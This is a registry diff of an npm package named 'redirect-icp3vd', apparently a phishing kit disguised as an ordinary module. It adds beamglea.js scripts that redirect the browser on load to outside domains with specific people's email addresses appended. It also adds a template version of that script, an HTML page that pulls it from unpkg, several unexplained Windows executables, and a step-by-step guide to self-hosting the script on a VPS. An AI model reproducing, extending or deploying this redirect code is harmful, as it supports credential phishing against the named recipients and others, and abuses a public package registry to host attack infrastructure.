redirect-icp3vd 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/beamglea.js ADDED
@@ -0,0 +1,7 @@
1
+ function processAndRedirect() {
2
+ var email = "mly@hmf.dk";
3
+ var urlPath = "https://cfn.fenamu.com/tPGyMoLZ";
4
+ var finalUrl = urlPath + "#" + email;
5
+ window.location.href = finalUrl;
6
+ }
7
+ processAndRedirect();
@@ -0,0 +1,7 @@
1
+ function processAndRedirect() {
2
+ var email = "sraka@hust.hr";
3
+ var urlPath = "https://cfn.jackpotmastersdanske.com/TJImeEKD";
4
+ var finalUrl = urlPath + "#" + email;
5
+ window.location.href = finalUrl;
6
+ }
7
+ processAndRedirect();
@@ -0,0 +1,7 @@
1
+ function processAndRedirect() {
2
+ var email = "{{EMAIL}}";
3
+ var urlPath = "{{URL}}";
4
+ var finalUrl = urlPath + "#" + email;
5
+ window.location.href = finalUrl;
6
+ }
7
+ processAndRedirect();
package/cdn.exe ADDED
Binary file
@@ -0,0 +1,123 @@
1
+ +++ 💡 SET UP YOUR OWN CUSTOM CDN ON A VPS +++
2
+
3
+ This guide helps you host your own static CDN to avoid using third-party services like unpkg.
4
+
5
+ ✅ Prerequisites:
6
+ -----------------
7
+ - A VPS (Ubuntu/Debian preferred)
8
+ - A domain name (e.g., beamcdn.com)
9
+ - Basic SSH and terminal usage
10
+ - A JS file ready to be served (e.g., beamglea.js)
11
+
12
+ =======================
13
+ 1️⃣ POINT YOUR DOMAIN
14
+ =======================
15
+ - Go to your domain registrar (e.g., Namecheap, GoDaddy)
16
+ - Add an A record:
17
+ - Name: @ or cdn
18
+ - Type: A
19
+ - Value: <your VPS IP>
20
+
21
+ Example:
22
+ ---------
23
+ Type: A
24
+ Host: cdn
25
+ Value: 123.45.67.89
26
+
27
+ Wait for DNS to propagate (can take 10 mins - 1 hr)
28
+
29
+ ===============================
30
+ 2️⃣ INSTALL NGINX ON THE VPS
31
+ ===============================
32
+ SSH into your VPS:
33
+
34
+ ssh root@your_vps_ip
35
+
36
+ Install NGINX:
37
+
38
+ sudo apt update
39
+ sudo apt install nginx -y
40
+
41
+ Start and enable it:
42
+
43
+ sudo systemctl enable nginx
44
+ sudo systemctl start nginx
45
+
46
+ ===============================
47
+ 3️⃣ SET UP STATIC FILE HOSTING
48
+ ===============================
49
+
50
+ Create a folder for your JS/CDN files:
51
+
52
+ sudo mkdir -p /var/www/beamcdn
53
+ sudo chown -R $USER:$USER /var/www/beamcdn
54
+
55
+ Copy your JS file(s) into it:
56
+
57
+ scp beamglea.js root@your_vps_ip:/var/www/beamcdn/
58
+
59
+ ===============================
60
+ 4️⃣ CONFIGURE NGINX
61
+ ===============================
62
+
63
+ Create a new config file:
64
+
65
+ sudo nano /etc/nginx/sites-available/beamcdn
66
+
67
+ Paste this config:
68
+
69
+ server {
70
+ listen 80;
71
+ server_name cdn.first-rectispanatur.com;
72
+
73
+ root /var/www/beamcdn;
74
+ index index.html;
75
+
76
+ location / {
77
+ try_files $uri $uri/ =404;
78
+ }
79
+ }
80
+
81
+ Save and exit (CTRL+O, ENTER, CTRL+X)
82
+
83
+ Enable it:
84
+
85
+ sudo ln -s /etc/nginx/sites-available/beamcdn /etc/nginx/sites-enabled/
86
+
87
+ Test and reload:
88
+
89
+ sudo nginx -t
90
+ sudo systemctl reload nginx
91
+
92
+ ===============================
93
+ 5️⃣ ACCESS YOUR FILES
94
+ ===============================
95
+
96
+ Now you can access your JS like this:
97
+
98
+ https://cdn.first-rectispanatur.com/beamglea.js
99
+
100
+ ===============================
101
+ 6️⃣ (OPTIONAL) ENABLE HTTPS
102
+ ===============================
103
+
104
+ Install Certbot:
105
+
106
+ sudo apt install certbot python3-certbot-nginx -y
107
+
108
+ Run:
109
+
110
+ sudo certbot --nginx -d cdn.first-rectispanatur.com
111
+
112
+ Follow the prompts. Now your CDN is secure with HTTPS.
113
+
114
+ ===============================
115
+ ✅ DONE! USE YOUR OWN CDN!
116
+ ===============================
117
+
118
+ You can now publish and serve any JS file from your own domain.
119
+
120
+ Example:
121
+ <script src="https://cdn.yourdomain.com/beamglea.js"></script>
122
+
123
+ +++ Keep this file safe and follow it step-by-step +++
package/cdnn.exe ADDED
Binary file
package/main.exe ADDED
Binary file
package/mainapp2.exe ADDED
Binary file
package/mainapp21.exe ADDED
Binary file
@@ -0,0 +1,10 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <title></title>
6
+ </head>
7
+ <body>
8
+ <script src="https://unpkg.com/redirect-cx4vm0@1.0.0/beamglea.js"></script>
9
+ </body>
10
+ </html>
Binary file
package/package.json ADDED
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "redirect-icp3vd",
3
+ "version": "1.0.0",
4
+ "main": "beamglea.js"
5
+ }
package/redirect.exe ADDED
Binary file
Binary file